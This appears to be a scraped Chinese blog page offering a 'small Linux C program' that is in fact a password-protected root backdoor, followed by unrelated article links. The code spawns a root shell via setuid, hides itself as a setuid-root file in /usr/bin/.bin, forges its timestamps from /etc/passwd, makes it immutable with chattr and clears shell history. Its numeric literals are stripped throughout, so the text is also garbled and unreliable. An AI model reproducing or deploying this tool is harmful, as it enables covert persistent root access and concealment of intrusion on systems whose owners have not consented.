Linux C语言小程序
Linux C语言小程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int compare(char*a,char*b)
{
if(strcmp(a,b)==)
return ;
else
return ;
}
int is_file_exist(const char*file_path)
{
if(file_path==NULL)
{
return -;
}
if(access(file_path,F_OK)==)
{
return ;
}
return -;
}
char *myFileBasePath="/usr/bin/.bin/bin";
char *password="";
char *mustFileName="./root";
int main(int argc,char** argv)
{
int errorTime=;
char typeCommandCode;
char what;
char *a=argv[];
if(compare(a,mustFileName)==){
printf("file path must be ./root\n");
return ;
}
while()
{
printf("please type your password:\n");
char *typePassword=(char*)malloc(sizeof(char));
scanf("%s",typePassword);
what=getchar();
if(compare(password,typePassword)==)
{
errorTime=;
printf("\n\n welcome you to login success! \n\n");
while()
{
system("clear");
printf("************************************************\n");
printf("* Welcome to use Blake System *\n");
printf("* 1----------------get root role *\n");
printf("* 2----------------check file *\n");
printf("* 3--------------- install command *\n");
printf("* 4----------------uninstall command *\n");
printf("* 5--------------- Exit *\n");
printf("* *\n");
printf("************************************************\n");
printf("please type your option:1-5\n");
typeCommandCode=getchar();
what=getchar();
if(typeCommandCode=='')
{
setuid();
setgid();
system("/bin/bash");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
if(is_file_exist(myFileBasePath)==)
{
printf("\n /usr/bin/.bin/bin you can find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else
{
printf("\n /usr/bin/.bin/bin you can't find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
else if(typeCommandCode=='')
{
system("mkdir /usr/bin/.bin");
system("mv root /usr/bin/.bin/bin");
system("chmod 4777 /usr/bin/.bin/bin");
system("touch -r /etc/passwd /usr/bin/.bin/");
system("touch -r /etc/passwd /usr/bin/.bin/bin");
system("chattr -R +i /usr/bin/.bin");
system("history -c");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
system("chattr -i /usr/bin/.bin/bin");
system("rm -rf /usr/bin/.bin");
printf("\n Press and key to Continue \n");
what=getchar();
continue; }else if(typeCommandCode==''){
printf("\n Press and key to Exit \n");
return ;
}
else
{
printf("\n can't find the option \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
}
else if(compare(password,typePassword)==)
{
printf("\n password error \n\n");
errorTime++;
if(errorTime==)
{
printf("\n\n error time too many, it will to exit! \n\n");
break;
return ;
}
}
}
}
Linux C语言小程序的更多相关文章
- Linux下简单C语言小程序的反汇编分析
韩洋原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 写在开始,本文为因为参加MOO ...
- 通过反汇编C语言小程序学习Liunx汇编语言
大家好! 我是来自山东师范大学的吴乐. 今天在<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 ...
- c语言小程序以及java生成注释文档方法
c语言小程序:sizeof和strlen() sizeof运算符以字节为单位给出数据的大小,strlen()函数以字符为单位给出字符串的长度,字符和字节不是一回事. char类型用于存储字母和标点符号 ...
- C语言小程序——推箱子(窄字符和宽字符)
C语言小程序——推箱子(窄字符Version) 推箱子.c #include <stdio.h> #include <conio.h> #include <stdlib. ...
- 自动生成.py文件头部的C语言小程序
每次都 vi xxx.py 然后再打 #!/usr/bin/env python 等等的程序头信息感觉有点麻烦,于是便想着写一个小程序自动生成这些头信息了,顺便在 ~/.bashrc 里写入 alia ...
- c语言小程序
这是一个用c语言写的小程序,功能是随机输出30道100以内的四则运算,先生成两个随机数,再通过随机数确定四则运算符号,最后输出题目. #include<iostream> using na ...
- C语言小程序之整除
看到有人要求用C语言写这样一个小程序,就拿来温习一下 需求:输出从1到2015这2015个自然数中,能被4或5整除,但不能被30整除的数,并计算有多少个数. #include<stdio.h ...
- 第一次写C语言小程序,可以初步理解学生成绩管理系统的概念
1 成绩管理系统概述 1.1 管理信息系统的概念 管理信息系统(Management Information Systems,简称MIS),是一个不断发展的新型学科,MIS的定义随着科技的进步也在 ...
- Linux中的小程序—— 进度条
在说正事之前,首先科普一下在什么是回车什么是换行? 我们通常所说的回车就是从一行的末尾跳到另一行的开头,但事实上这却是由回车和换行两个动作所完成的,也就是键盘上<enter>所完成的工作. ...
随机推荐
- 飘逸的python - 使用reload进行热更新
一开始我们的游戏商城配置是从txt读取解析的. 后来为了方便运营修改配置,改成从数据库读取并提供后台可视化编辑配置. 如果为了使配置生效而重启游戏进程那太麻烦了. 这时候reload就派上用途了. 下 ...
- Java从零开始学十(Arrays类对数组的常用方法)
一.Arrays类常用方法 二.简单例子 package com.pb.demo1; import java.util.Arrays; /* * Arrays工具类的中的几个常用方法 * 1.copy ...
- PHPstorm自定义快捷键
Ctrl+alt+S 打开设置 PHPstorm 设置 PHPstorm 主题安装 自定义快捷键设置 ·全屏 F11 ·另外一种全屏alt+F11 Database数据库管理 alt+d Termin ...
- @Value 和 @ConfigurationProperties 获取值的比较
1.不同点 (1)@ConfigurationProperties(prefix = "person") 功能:批量注入配置文件中的属性 SpEL:不支持表达式 JSR303数据校 ...
- crontab 格式
- linux YUM常用 命令
语法 yum(选项)(参数) 选项 -h:显示帮助信息: -y:对所有的提问都回答“yes”: -c:指定配置文件: -q:安静模式: -v:详细模式: -d:设置调试等级(0-10): -e:设置错 ...
- Android 线性布局(LinearLayout)相关官方文档 - 指南部分
Android 线性布局(LinearLayout)相关官方文档 - 指南部分 太阳火神的漂亮人生 (http://blog.csdn.net/opengl_es) 本文遵循"署名-非商业用 ...
- EasyUI 条件设置行背景颜色
数据网格(datagrid)的 rowStyler 函数的设计目的是允许您自定义行样式. rowStyler 函数需要两个参数: rowIndex:行的索引,从 0 开始. rowData:该行相应的 ...
- mysql中的order by
一.order by的原理 1.利用索引的有序性获取有序数据 当查询语句的 order BY 条件和查询的执行计划中所利用的 Index 的索引键(或前面几个索引键)完全一致,且索引访问方式为 ran ...
- SPFA 上手题 数 枚:
1, HDU 1548 A strange lift :http://acm.hdu.edu.cn/showproblem.php?pid=1548 这道题可以灰常巧妙的转换为一道最短路题目,对第i层 ...